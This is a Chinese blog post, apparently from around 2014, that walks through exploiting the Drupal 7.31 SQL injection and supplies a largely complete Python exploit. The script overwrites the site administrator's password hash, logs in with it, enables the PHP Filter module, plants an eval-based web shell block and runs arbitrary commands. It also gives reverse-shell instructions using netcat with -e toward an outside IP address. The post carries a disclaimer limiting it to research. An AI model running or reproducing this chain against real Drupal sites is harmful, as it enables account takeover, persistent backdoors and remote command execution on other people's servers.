Drupal 7.31 SQL注入漏洞利用具体解释及EXP



有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的。当然。这也是Drupal本身没有意料到的。

0x00

首先。这个漏洞真的非常大。并且Drupal用的也比較多。应该能够扫出非常多漏洞主机,可是做批量可能会对对方站点造成非常大的损失。所以我也就仅仅是写个Exp。只是。这个洞好像不怎么被重视。这也是极为不合适。

0x01

关于漏洞的原理和POC在我的博客上已经有文章进行解释。这里仅仅是着重说一下利用过程。配合POC的效果。我主要是从远程代码运行和GetShell方面去做的利用。

远程代码运行利用:

1.使用超级管理员进行登录

2.开启网站PHP Filter功能

3.新建aticle,选择PHP_CODE模式(编辑php代码)并预览

4.预览页面加载后就会运行代码

相应EXP中DrupalSQLin类的codeExecution函数,这个函数所做的事情就是把上述过程自己主动化。

我编写这个部分比較费劲的是,requests发送attachment遇到了问题,最后实在没办法就自己对Post数据包进行拼接,拼接结构例如以下:

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMTcyMTUwMQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center">

在调试程序时,使用burpsuite进行辅助非常有效果,通过burpsuite你能够清楚看到每一次交互的数据包格式与字段内容。

GetShell利用:

1.使用超级管理员进行登录

2.开启站点的PHP Filter功能

3.新建block。编辑PHP代码

4.使用PHP_CODE进行保存

Post请求构造例如以下:

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMTcyMTUwMQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast">

使用python进行发包。有个缺点就是不直观。我们无法获知我们的数据包构造是否正确,这时候能够使用requests模块的proxies參数。将代理设置为burpsuite,然后就能够分析调试了。只是,使用新建block的方法获取shell可能权限比較小。

在构造请求包的时候。有两个字段是form_build_id和form_token,他们是Drupal自带的防止CSRF所使用的token(类似于Django中的csrf防护)。

发包之前必须找到这两个东西。使用小型爬虫就可以。

另一个关键点就是模拟登陆后要保存cookie,由于兴许的攻击利用都要携带admin的cookie。否则会运行出错。

0x02

命令运行效果:本地监听port获取反弹shell

測试环境:本地測试

程序运行:例如以下图

接收反弹shell的过程中主线程会堵塞。

反弹shell效果;

0x03

这个漏洞威力大,带给对方主机的危害也大,并且涉及到用户覆盖以及改变站点原有设置的问题。所以我这里就不准备将代码完整分享出来。

假设想要隐蔽地利用。那么须要做非常多辅助工作。比方在开启php filter的过程中,涉及到小型爬虫抓取站点原有的配置信息。

还有就是管理员的获取方式进行改进。

接下来就是放出部分代码:

模拟登录函数

开启PHP Filter:

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMTcyMTUwMQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast">

代码运行:

0x04

这样的Web类型的EXP编写须要非常多细节。在调试的途中我甚至动用了burpsuite。而且这个过程也让我恶心得非常。

另外,程序也仅供安全研究与学习交流使用,请读者不要用于非法用途。

0x05

分享一下程序。当中一些重要的部分被我删去一些,程序如今是无法执行的,还是仅仅提供学习交流使用:

#coding=utf-8
import requests
import re
import sys
import socket
import urllib
import urllib2
import cookielib
import mimetypes
import mimetools
class DrupalSQLin():

	'''获取超级管理员账户password(覆盖)'''
	def getAdmin(self,url):
		try:
			#admin is owned, pass is thanks
			data = {
				"name[0 ;update users set name='admin',pass='$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid=1;# ]":'admin',
				"name[0]":"111111",
				"pass":"shit2",
				"test2":"test",
				"form_build_id":"",
				"form_id":"user_login_block",
				"op":"Log+in"
			}
			r = requests.post(url,timeout=10,data=data)
			page = r.content
			if page.count("mb_strlen() expects parameter 1 to be string") != 0:
				print "[+] Get Admin Success:admin/thanks"
		except Exception, e:
			print "Exception exists:%s" % e
			return None

	'''使用超级管理员登录'''
	def login(self,url):
		#get token
		pattern = re.compile(r'name="form_build_id" value="(.+)"')
		r = requests.get(url)
		form_build_id = pattern.findall(r.content)[0]
		login_data = {
			'name':'admin',
			'pass':'thanks',
			'form_build_id':form_build_id, #csrf token
			'form_id':'user_login_block',
			'op':'Log+in'
		}

		r = requests.post(url,data=login_data)
		page = r.content
		if page.count("Log out") != 0:
			print '[+] Admin Log in Success!'

			#获取cookies
			cj = cookielib.LWPCookieJar()
			opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
			login_path = 'http://127.0.0.1/drupal-7.31/'
			pattern = re.compile(r'name="form_build_id" value="(.+)"')
			r = requests.get(login_path)
			form_build_id = pattern.findall(r.content)[0]
			data = {
						'name':'admin',
						'pass':'thanks',
						'form_build_id':form_build_id, #csrf token
						'form_id':'user_login_block',
						'op':'Log+in'
					}
			post_data = urllib.urlencode(data)
			request = urllib2.Request(login_path,post_data)
			html = opener.open(request).read()
			if cj:
				cj.save('cookiefile.txt')
			else:
				print 'Get Cookies Error, Exploit Failed!'
				sys.exit()
			f = open('cookiefile.txt','r')
			cookiesfile = f.read()
			pattern = re.compile(r'Set-Cookie3: (.+?

)=(.+?);')
			ret = pattern.findall(cookiesfile)
			cookies = {ret[0][0]:str(ret[0][1]).replace('"','')}
			return cookies
		else:
			return None

	'''开启PHP Filter'''
	def openPhpFilter(self,url):
		cookies = self.login(url)
		url = "%s%s" % (url,"?

q=admin/modules/list/confirm")
		pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
		pattern_token = re.compile(r'name="form_token" value="(.+)"')
		r = requests.get(url,cookies=cookies)
		form_build_id = pattern_id.findall(r.content)[0] #csrf token
		form_token = pattern_token.findall(r.content)[0]
		post_data = {
			'modules[Core][php][enable]':'1',
			'modules[Core][color][enable]':'1',
			'modules[Core][comment][enable]':'1',
			'modules[Core][contextual][enable]':'1',
			'modules[Core][dashboard][enable]':'1',
			'modules[Core][dblog][enable]':'1',
			'modules[Core][field_ui][enable]':'1',
			'modules[Core][help][enable]':'1',
			'modules[Core][list][enable]':'1',
			'modules[Core][menu][enable]':'1',
			'modules[Core][number][enable]':'1',
			'modules[Core][overlay][enable]':'1',
			'modules[Core][path][enable]':'1',
			'modules[Core][rdf][enable]':'1',
			'modules[Core][search][enable]':'1',
			'modules[Core][shortcut][enable]':'1',
			'modules[Core][toolbar][enable]':'1',
			'form_build_id':form_build_id,
			'form_token':form_token,
			'form_id':'system_modules',
			'op':'Save+configuration'
		}
		try:
			r = requests.post(url,data=post_data,cookies=cookies)
			print '[+] Open PHP Filter Success!'
		except Exception, e:
			print "[+] Exception:%s Exploit Failed!" % e
			sys.exit()

	'''获取webshell:?q=admin/structure/block/add'''
	def getShell(self,url,content="<?php @eval($_POST['cmd']);?>"):
		print "[+] Get Shell Module\nNotice: You can use this part get a shell."
		cookies = self.login(url)
		url = "%s%s" % (url,"?q=admin/structure/block/add&render=overlay")
		pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
		pattern_token = re.compile(r'name="form_token" value="(.+)"')
		r = requests.get(url,cookies=cookies)
		form_build_id = pattern_id.findall(r.content)[0] #csrf token
		form_token = pattern_token.findall(r.content)[0]
		post_data = {
			'title':'',
			'info':'shit2',
			'body[value]':content,
			'body[format]':'php_code',
			'regions[bartik]':'-1',
			'regions[seven]':'-1',
			'visibility':'0',
			'pages':'',
			'custom':'0',
			'visibility__active_tab':'edit-path',
			'form_build_id':form_build_id,
			'form_token':form_token,
			'form_id':'block_add_block_form',
			'op':'Save+block'
		}
		rp = requests.post(url,data=post_data)
		page_content = rp.content
		if page_content.count("created") != 0:
			print 'Get Shell Success:%s/?q=admin/structure/block&render=overlay' % url
			return "%s/?q=admin/structure/block" % url
		else:
			print 'Get Shell Failed!'

	'''远程代码运行:?

q=node/add/article'''
	def codeExecution(self,url,code):
		print '''
[+]Code Execution Module
Please make sure that keep nc listener opening when you want to get a reverse shell.
1.First, you need to exe nc -vv -l -p <port>
2.Then, you can run this script with command 'nc <ip> <port> -e /bin/bash'
Tips: If you want a echo, add reg by youself.
		'''
		cookies = self.login(url)
		url = "%s%s" % (url,"?q=node/add/article")
		r = requests.get(url,cookies=cookies)
		pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
		pattern_token = re.compile(r'name="form_token" value="(.+)"')
		form_build_id = pattern_id.findall(r.content)[0] #csrf token
		#拼接attachment
		BOUND = mimetools.choose_boundary()
		content_type = "multipart/form-data; boundary=%s" % BOUND
		CRLF = "\r\n"
		fields = {
			'title':'chongrui',
			'field_tags[und]':CRLF,
			'body[und][0][summary]':CRLF,
			'body[und][0][value]':'<?php echo shell_exec("%s");?>' % code,
			'body[und][0][format]':'php_code',
			'field_image[und][0][fid]':'0',
			'field_image[und][0][display]':'1',
			'changed':CRLF,
			'form_build_id':form_build_id,
			'form_token':form_token,
			'form_id':'article_node_form',
			'log':CRLF,
			'name':'admin',
			'date':CRLF,
			'status':'1',
			'promote':'1',
			'additional_settings__active_tab':'edit-revision-information',
			'op':'Preview'
		}

		L= []
		for k,v in fields.items():
			L.append('--'+BOUND)
			L.append('\n')
			L.append('Content-Disposition: form-data; name="%s"%s' % (k,"\n"))
			if v != CRLF:
				L.append(CRLF)
			L.append(v)
			L.append('\n')

		L.append('%s--' % BOUND)
		L.append(CRLF)

		body = ''
		for x in L:
			body+=x
		headers = {
			'Content-type':content_type
		}
		r = requests.post(url,data=body,cookies=cookies,headers=headers)
		cmd_echo = r.content
		if cmd_echo.count("Preview trimmed version") == 0:
			print 'Execution Error!'
		else:
			print 'Execution Success!'

if __name__ == '__main__':
	url = "http://127.0.0.1/drupal-7.31/"
	code = ""

	print "Target host:%s" % url
	print 'Powered by :Exploit <from 91ri Team>\nQQ:739858341'
	exp = DrupalSQLin()
	#获取admin权限
	exp.getAdmin(url)
	#开启php filter
	exp.openPhpFilter("http://127.0.0.1/drupal-7.31/")
	#getshell
	exp.getShell(url)
	#代码运行
	exp.codeExecution(url,'c:\\\\nc.exe 10.10.10.132 10002 -e c:\\\\cmd.exe')
时间: 2024-10-31 09:28:27

Drupal 7.31 SQL注入漏洞利用具体解释及EXP的相关文章

Drupal 7.31 SQL注入漏洞利用详解及EXP

 有意迟几天放出来这篇文章以及程序,不过看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,不过说实话这个洞威力挺大的,当然,这也是Drupal本身没有意料到的. 0x00 首先,这个漏洞真的很大,而且Drupal用的也比较多,应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp.不过,这个洞好像不怎么被重视,这也是极为不合适. 0x01 关于漏洞的原理和POC在我的博客上已经有文章进行解释,这里只是着重说一下利用过程.配合POC的

[CVE-2014-3704]Drupal 7.31 SQL注入漏洞分析与复现

不是很新的漏洞,记录下自己的复现思路 漏洞影响: Drupal 7.31 Drupal是一个开源内容管理平台,为数百万个网站和应用程序提供支持. 它是由世界各地积极和多样化的社区建立,使用和支持的. 0x01漏洞复现 复现环境: 1) Apache2.4 2) Php 7.0 3) drupal 7.31 https://www.drupal.org/drupal-7.31-release-notes(点击下载) 环境打包在目录下安装即可 中间遇到的问题: 解决方法:关闭extersion=ph

Drupal 7.31 SQL注入分析及POC

这个漏洞昨天爆出的 ,今天才有时间看代码. 在Drupal中,执行sql语句都是使用PDO模型进行的,这样做一般来说是可以规避大多数的注入,因为占位符的使用对sql语句的语法进行了限制. 但是这也不意味着绝对的安全,比如这次的漏洞. 在Drupal的user模块中,找到user.module: $account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' =>

Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件

Drupal 7.31版本爆严重SQL注入漏洞

今早有国外安全研究人员在Twitter上曝出了Drupal 7.31版本的最新SQL注入漏洞,并给出了利用测试的EXP代码. 在本地搭建Drupal7.31的环境,经过测试,发现该利用代码可成功执行并在数据库中增加一个攻击者自定义的用户. 测试代码:(请勿用于非法用途) POST /drupal-7.31/?q=node&destination=node HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x8

利用SQL注入漏洞登录后台的实现方法

利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的.  如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的.  前些天,网上传

利用SQL注入漏洞登录后台的实现方法 。。。。转载

一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e) DBMS接受返回的结果,并处理,返回给用户 因为用户构造了特殊的SQL语句,必定返回特殊的结果(只要你的SQL语句够灵活的话). 下面,我通过一个实例具体来演示下SQL注入 二.SQL注入实例详解(以上测试均假设服务器未开启magic

利用SQL注入漏洞登录后台

题记:工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的“拖库”事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常

DRUPAL-PSA-CORE-2014-005 &amp;&amp; CVE-2014-3704 Drupal 7.31 SQL Injection Vulnerability /includes/database/database.inc Analysis

目录 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Use Drupal to build everything from personal blogs to enterprise applications. Thousands of add-on modules and designs let you build any site you can imagine. Join us!Drupal是使用PHP语言编写的开